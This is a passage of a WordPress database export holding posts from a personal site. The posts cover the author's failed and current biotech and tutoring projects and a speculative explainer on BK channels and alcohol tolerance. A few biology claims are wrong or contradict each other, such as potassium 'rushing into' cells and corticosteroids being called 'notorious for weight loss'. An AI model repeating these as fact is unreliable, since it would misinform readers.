-->\n<p><strong>Hypothesis</strong>: RNAi can be used to delete any RNA strands that it matches with. It could be used as an agricultural technique for pesky pests. For example, oysters are often devastated by herpes. Infecting the oysters with a bacteria that produces RNAi to target the RNA of herpes could be effective prevention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are a lot of pretty amazing papers showing the use of RNAi against various types of pests. The original one I saw showed RNAi being effectively used in honeybees against the agents responsible for colony collapse disorder.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: there are a lot of RNAi companies that have tried and failed. I think it\'s a combination of a mess of patents, difficulty with scaling up RNA production to be cost effective, and the caution people have for \"genetic engineering\". </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Exploring ketamine for blood pressure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: never quite got there. Something to do with raising blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Ketamine raises blood pressure, which is surprising for a dissociative. This is probably because it inhibits the norepinephrine transporter, and norepinephrine is used to raise blood pressure. Ketamine is also an anesthetic. Surgeons use it to anesthetize while raising blood pressure, as anesthesia/surgery can lower blood pressure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: blood pressure and arrhythmia are really specific. We have pretty good tools for most stuff with blood pressure, and any new tools probably need to be very specific. Also, ketamine on its own isn\'t a good tool to market, because you can\'t patent protect it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>The roles of anything other than autoimmunity in type I diabetes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis: </strong>there might be other sides of diabetes besides autoimmunity that could be targeted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>eh...there\'s suggestive stuff around the animal models, but nothing convincing in human models. Plus, it\'s hard to argue with how effective monoclonal antibodies have been in autoimmunity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I should avoid autoimmune diseases without monoclonal antibodies. They\'re just too good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Treating obesity-related asthma/inflammation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d be possible to alleviate obesity-related asthma (and other obesity-related disorders) with natural extracts that would have a beneficial effect both on inflammation and on weight/insulin resistance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This would be better than the first-line treatment for inflammation, which is corticosteroids, which are notorious for weight loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: there are suggestive papers around curcumin, thymoquinone, and osthole regarding reducing inflammation and encouraging weight loss. Also, using corticosteroids as anti-inflammation in obesity-related diseases is weird, considering how notorious corticosteroids are for causing weight gain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, I never knew how far to trust the papers on these sort of \"natural\" remedies, as they always seem to be by people with an agenda for these natural remedies who found exactly the biomarkers they looked for. Then, when I was even trying to clearly link to inflammation at all to obesity-related asthma, I find it\'s really only a disease found in women, and I had zero hypotheses for htat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: obesity and inflammation are really complicated. It\'s probably best not to mess with obesity, and inflammation is really best with a monoclonal antibody. Tnf-alpha inhibitors do pretty great with inflammation, although they have severe side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>$1 live classes</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> a good way to make some money would be to offer $1 live classes to mass groups of people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: eh... none, really. I just offered it and see how it went.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: it\'s hard to make money that way. Processing fees are murder on $1 classes (most of them charge some amount of cents per processing fee). Plus, I just don\'t like teaching live classes that much. It\'s pretty stress inducing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: pay attention to processing fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>SAT/ACT tutoring</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis:</strong> I could hire Harvard undergrads to tutor kids in the SAT/ACT.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed: </strong>I didn\'t really like it. I don\'t like the college admissions game or dealing with undergrads. The entire thing felt bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: I wish it was \"don\'t try to do what you don\'t particularly like\", but that was a repeated mistake I made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Selling prerecorded LSAT lectures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could sell my live LSAT classes as a recording.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Seemed pretty obvious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I was always aware that the LSAT, if they found out, would likely sue me, as I was using their copyrighted material and they\'re notoriously litigious. So, it made it hard to promote.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned:</strong> Either invite lawsuits or don\'t, but don\'t half-ass invite a lawsuit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Other businesses</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Group buying for restaurants</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: I could lower costs for food businesses by group buying for them, or at least finding out the price from food vendors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: I was aware that price discovery for wholesale food was really hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: food businesses don\'t want to talk to people they don\'t know about their invoices, in part because a lot of them are cheating on their taxes. Also, didn\'t have a convincing sales pitch because I didn\'t know anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: don\'t get involved in businesses you don\'t know about.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Automated invoice entry</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: it\'d make my group buying business easier if I could automate invoice entry (see the problem here?). Also maybe I could sell the invoice entry app.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I did almost no research on what options were out there, and just went with my instinct.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Automated receipt extraction from email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: something similar to Slice, where receipts would get extracted from the email. Not sure why I thought this was a good idea, to be honest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><b>W</b><strong>hy it failed</strong>: I did almost no research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>research beforehand (I learned this again).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Collaborative to-do list instead of email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: considering how many emails are either to-dos or checking on to-dos, it\'d be better if that was simply built into the email instead. I even created a name/app for it, <a href=\"http://nomorefollowups.com\">nomorefollowups.com</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: seemed self-evident, but the big question was always if people were willing to let it be part of their email process</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I initially planned it to be something my brother\'s company would use, which he agreed to. Then they got crazy busy, and no longer wanted to change any of their task management processes. I lost interest in promoting it because I never was that into it in the first place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: if you\'re not willing to put in a lot of hours into promoting your business (e.g. if you don\'t really like the space), don\'t start it.</p>\n<!-- /wp:paragraph -->','Failed projects','','inherit','closed','closed','','12-revision-v1','','','2021-07-26 15:44:57','2021-07-26 15:44:57','',12,'https://trevorklee.com/?p=178',0,'revision','',0),
(179,1,'2021-07-26 16:09:53','2021-07-26 16:09:53','<!-- wp:heading -->\n<h2>Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for autoimmune conditions that aren\'t well-treated by biologics</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>A lot of autoimmune conditions are well-treated by biologics. But there are some that fall through the cracks.</li><li>For example, [<em>tba</em>] is a condition in which [<em>tba</em>] is recommended as a treatment following failures of biologics. My conversations with experts in the field suggest roughly 10% of people fail biologics.</li><li>Moreover, in countries with poor healthcare, or in people with poor health insurance, biologics are often unavailable or impossibly expensive.</li><li>[<em>tba</em>] is a commonly used immunosuppressant for that specific condition. However, it has problems, including severe side effects and difficulties with administration.</li><li>Combining that immunosuppressant with [<em>tba</em>] would reduce side effects, make that immunosuppressant easier to use, and ultimately make life easier for people with that condition.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Surprisingly, there are case reports with the combination of that immunosuppressant and the other therapeutic. It shows preliminarily good results. </li><li>I\'m currently working on additional experiments to enable a patent.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status: </strong>patent enabling experiment done by August 6. Then, hopefully off to the races with funding, IND, maybe some hiring, etc. I\'m excited!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for levodopa-induced dyskinesia in Parkinson\'s</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Dyskinesia in Parkinson\'s is poorly treated. It\'s a serious problem, and the only real solutions are amantadine and deep brain stimulation.  Amantadine is not an easy drug: it can cause nightmares and hallucinations. Deep brain stimulation requires invasive surgery.</li><li>Dyskinesia in Parkinson\'s is caused by [<em>tba</em>], which can be treated by [<em>tba</em>]. This should be a safe, effective treatment which will produce dramatic results that are easy to see (unlike, say, disease modifying treatments for Parkinson\'s, which are masked by levodopa until levodopa stops working).</li><li>Other dyskinesias will also benefit from this therapeutic.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: TBA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> in the process of filing a provisional patent and getting experiments done.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for glutamate excitoxicity</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Glutamate excitoxicity isn\'t responsible for all neurodegeneration. However, there is some neurodegeneration that is caused by glutamate excitoxicity.</li><li>In neurodegeneration that is caused by glutamate excitoxicity, [<em>tba</em>] will prove effective.</li><li>Neurodegeneration, on the whole, is poorly treated and frankly terrifying. For ALS, traumatic brain injuries with neurodegeneration, Alzheimer\'s, etc. , there is really nothing that can be done currently.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: TBA</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: in the process of filing a provisional patent and getting experiments done</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>A therapeutic for chronic heart failure</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Despite being common, chronic heart failure is not well treated. If there are no obvious causes (and there usually aren\'t), care is more palliative than curative.</li><li>[<em>tba</em>] is a major cause of damage in chronic heart failure, and, when untreated, can lead to decline in heart function.</li><li>[<em>TBA therapeutic</em>] can treat this major cause of damage.</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong>TBA.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Refining my evidence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My graduate exam tutoring business, <a href=\"http://trevorkleetutor.com\"><span style=\"color:#1e1ecf\" class=\"has-inline-color\">Trevor Klee, Tutor</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: People will pay a lot per hour ($100+) to get tutoring for graduate exams, if they think it will help them get into a good graduate program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: A lot of people doing it before me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> Successful. It\'s the main way I fund myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My <a href=\"https://www.trevorkleetutor.com/mcat-academic-coach/\"><span style=\"color:#1313db\" class=\"has-inline-color\">graduate exam coaching business</span></a>, done under the aegis of my graduate exam tutoring business.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: Tutoring involves a lot of wasted time covering stuff people could have taught themselves. There are a lot of people who just want support while they teach themselves, and don\'t need to spend the time/money tutoring requires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I have taught who are mostly running on autopilot (i.e. I more answer questions and have them do homework than teach them directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. It\'s been very successful with MCAT students, as the MCAT is a very content-heavy exam which never lent itself that well for tutoring. It\'s been mildly successful with less content-heavy exams, as a lot of people still just want tutoring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>My <a href=\"http://gumroad.com/trevorklee\"><span style=\"color:#2a17d0\" class=\"has-inline-color\">graduate exam books</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: There are parts of the exams I teach that aren\'t well covered by the \"mainstays\", and there\'s room to sell books to students still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I\'ve taught who have gone through the mainstream courses and books, and still have gaps in their knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. The books sell well, and I think the main barrier to them doing better is simply discovery. I\'m currently making efforts to make them more discoverable on Amazon by gathering reviews, and I also sell them on my own website.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><a href=\"http://get21snight.com\"><span style=\"color:#0f2ec8\" class=\"has-inline-color\">My studying app, 21st Night</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Spaced repetition is a really useful way to memorize things that isn\'t used enough. This is because it\'s boring, somewhat difficult to incorporate with the rest of learning, and is somewhat counterintuitive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. A studying app based around spaced repetition that allows notes and a study plan, is gamified, and encourages but does not force spaced repetition will be popular with students.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence:</strong> Looking at Anki\'s success stories, it\'s obvious that spaced repetition can be useful. However, Anki needs an explainer just to be useful. And, judging from personal experience, as well as the experience of students, it\'s easy to bounce off or slack.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Eh. Work in progress. The hardest thing about it has been simply to continually make it easier to use while still accomplishing what I want it to accomplish. App development is hard. It makes some amount of money, at least. </p>\n<!-- /wp:paragraph -->','Current projects','','inherit','closed','closed','','2-revision-v1','','','2021-07-26 16:09:53','2021-07-26 16:09:53','',2,'https://trevorklee.com/?p=179',0,'revision','',0),
(180,1,'2021-07-30 17:28:11','2021-07-30 17:28:11','<!-- wp:paragraph -->\n<p>People who drink a lot of alcohol have a high alcohol tolerance. By this, I mean two things:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. They can drink a lot of alcohol and still have a relatively low blood alcohol level.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. They can have <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2912088/\">a high blood alcohol level and still be relatively functional</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are two traditional explanations for this. For the first, the traditional explanation is that alcoholics have an enlarged liver, better able to handle large amounts of alcohol than a normal liver. For the second, the traditional explanation is that alcoholics can “handle their alcohol” better, meaning that they are better psychologically adapted to the effects of alcohol.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These explanations are correct, but they aren’t the whole story. Blood alcohol levels of above <a href=\"https://medlineplus.gov/lab-tests/blood-alcohol-level/\">0.4% are often fatal to a normal person</a>, and are at least liable to put the person in a coma. And yet some alcoholics can have blood alcohol levels of 1% or higher and <a href=\"http://www.sowetanlive.co.za/news/2010/12/24/drunkest-driver-in-sa-arrested\">still be functional enough to drive a car</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This can’t be explained by an enlarged liver. The liver can slowly metabolize alcohol from the bloodstream, but, if your blood alcohol level is already that high, it’s too late. And there’s no way to “handle” being in an alcohol-induced coma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There has to be a cellular adaptation, presumably one that affects the brain. And this adaptation seems to be a modification of the big potassium (BK) channel, which in turn has direct effects on the parts of the brain that are affected by alcohol.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s go through a quick refresher of what <a href=\"https://en.wikipedia.org/wiki/BK_channel\">the BK channel is</a>, and then discuss the evidence for this.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The BK channel is a ubiquitous voltage-gated potassium channel. As its name suggests, it’s big: it can allow for a large amount of potassium ions to cross the cell membrane. This is broadly useful. When calcium or magnesium ions bind to the receptor site (or when there’s a large voltage), potassium ions can rush into the cell. This slow buildup then sudden release is useful in action potentials, muscle contraction, and many other bodily functions, as it turns what would be a gradient of potential into a binary with a threshold value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The threshold value of the BK channel is not a set value, but can instead be modified. It’s modified by auxiliary proteins which change the shape of the channel and its sensors, making it more or less sensitive to different sorts of ions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alcohol induces the opening of BK channels, or, to be more precise, <a href=\"https://pubmed.ncbi.nlm.nih.gov/8569710/\">makes openings longer and closures shorter</a>. So, whatever conduction is going to happen is made more likely by alcohol. However, if the BK channel is modified with β4-subunits, <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1530-0277.2007.00371.x\">the BK channel can be made more resistant to the effects of alcohol</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This modification seems to be part of the long-term development of tolerance. Exposure to alcohol upregulates microRNA (mir-9), which in turn modifies BK mRNA, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2714263/\">selectively destabilizing certain types of BK mRNA</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what does all this have to do with why alcoholics don’t end up in comas with &gt;1% BAC?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, part of it comes down to the NMDA receptor. The NMDA receptor is one of the main neuroreceptors in the brain, responsible for connecting the brain to the body. NMDA receptor antagonism results in dissociation. Ketamine, for instance, is a potent NMDA receptor antagonist, which is why it’s used as an anaesthetic. It makes people dissociate from their bodies so surgeons can work on them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alcohol is also an NMDA receptor antagonist, which is why people who drink a lot of alcohol can slip into a coma. And guess what forms complexes with NMDA receptors? <a href=\"https://www.pnas.org/content/115/38/E9006.short\">BK channels</a>. Long-term alcohol use can therefore presumably modify the BK channels that are complexed with NMDA receptors, making it more difficult for alcohol to antagonize them even at high BAC levels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The consequence of this would then be that the development of alcohol tolerance could be slowed or halted by preventing the modification of BK channels, like by using RNAi to degrade certain types of BK mRNA.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’d also be interesting to explore whether this mechanism is at play in other types of drug tolerance, like opiate tolerance, in order to examine if RNAi could be used there as well.</p>\n<!-- /wp:paragraph -->','A lesser known mechanism for alcohol tolerance','','publish','closed','closed','','a-lesser-known-mechanism-for-alcohol-tolerance','','','2021-07-30 17:28:11','2021-07-30 17:28:11','',0,'https://trevorklee.com/?page_id=180',0,'page','',0),
(181,1,'2021-07-30 17:28:11','2021-07-30 17:28:11','<!-- wp:paragraph -->\n<p>People who drink a lot of alcohol have a high alcohol tolerance. By this, I mean two things:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. They can drink a lot of alcohol and still have a relatively low blood alcohol level.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. They can have <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2912088/\">a high blood alcohol level and still be relatively functional</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are two traditional explanations for this. For the first, the traditional explanation is that alcoholics have an enlarged liver, better able to handle large amounts of alcohol than a normal liver. For the second, the traditional explanation is that alcoholics can “handle their alcohol” better, meaning that they are better psychologically adapted to the effects of alcohol.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These explanations are correct, but they aren’t the whole story. Blood alcohol levels of above <a href=\"https://medlineplus.gov/lab-tests/blood-alcohol-level/\">0.4% are often fatal to a normal person</a>, and are at least liable to put the person in a coma. And yet some alcoholics can have blood alcohol levels of 1% or higher and <a href=\"http://www.sowetanlive.co.za/news/2010/12/24/drunkest-driver-in-sa-arrested\">still be functional enough to drive a car</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This can’t be explained by an enlarged liver. The liver can slowly metabolize alcohol from the bloodstream, but, if your blood alcohol level is already that high, it’s too late. And there’s no way to “handle” being in an alcohol-induced coma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There has to be a cellular adaptation, presumably one that affects the brain. And this adaptation seems to be a modification of the big potassium (BK) channel, which in turn has direct effects on the parts of the brain that are affected by alcohol.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s go through a quick refresher of what <a href=\"https://en.wikipedia.org/wiki/BK_channel\">the BK channel is</a>, and then discuss the evidence for this.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The BK channel is a ubiquitous voltage-gated potassium channel. As its name suggests, it’s big: it can allow for a large amount of potassium ions to cross the cell membrane. This is broadly useful. When calcium or magnesium ions bind to the receptor site (or when there’s a large voltage), potassium ions can rush into the cell. This slow buildup then sudden release is useful in action potentials, muscle contraction, and many other bodily functions, as it turns what would be a gradient of potential into a binary with a threshold value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The threshold value of the BK channel is not a set value, but can instead be modified. It’s modified by auxiliary proteins which change the shape of the channel and its sensors, making it more or less sensitive to different sorts of ions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alcohol induces the opening of BK channels, or, to be more precise, <a href=\"https://pubmed.ncbi.nlm.nih.gov/8569710/\">makes openings longer and closures shorter</a>. So, whatever conduction is going to happen is made more likely by alcohol. However, if the BK channel is modified with β4-subunits, <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1530-0277.2007.00371.x\">the BK channel can be made more resistant to the effects of alcohol</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This modification seems to be part of the long-term development of tolerance. Exposure to alcohol upregulates microRNA (mir-9), which in turn modifies BK mRNA, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2714263/\">selectively destabilizing certain types of BK mRNA</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what does all this have to do with why alcoholics don’t end up in comas with &gt;1% BAC?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, part of it comes down to the NMDA receptor. The NMDA receptor is one of the main neuroreceptors in the brain, responsible for connecting the brain to the body. NMDA receptor antagonism results in dissociation. Ketamine, for instance, is a potent NMDA receptor antagonist, which is why it’s used as an anaesthetic. It makes people dissociate from their bodies so surgeons can work on them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Alcohol is also an NMDA receptor antagonist, which is why people who drink a lot of alcohol can slip into a coma. And guess what forms complexes with NMDA receptors? <a href=\"https://www.pnas.org/content/115/38/E9006.short\">BK channels</a>. Long-term alcohol use can therefore presumably modify the BK channels that are complexed with NMDA receptors, making it more difficult for alcohol to antagonize them even at high BAC levels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The consequence of this would then be that the development of alcohol tolerance could be slowed or halted by preventing the modification of BK channels, like by using RNAi to degrade certain types of BK mRNA.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’d also be interesting to explore whether this mechanism is at play in other types of drug tolerance, like opiate tolerance, in order to examine if RNAi could be used there as well.</p>\n<!-- /wp:paragraph -->','A lesser known mechanism for alcohol tolerance','','inherit','closed','closed','','180-revision-v1','','','2021-07-30 17:28:11','2021-07-30 17:28:11','',180,'https://trevorklee.com/?p=181',0,'revision','',0),
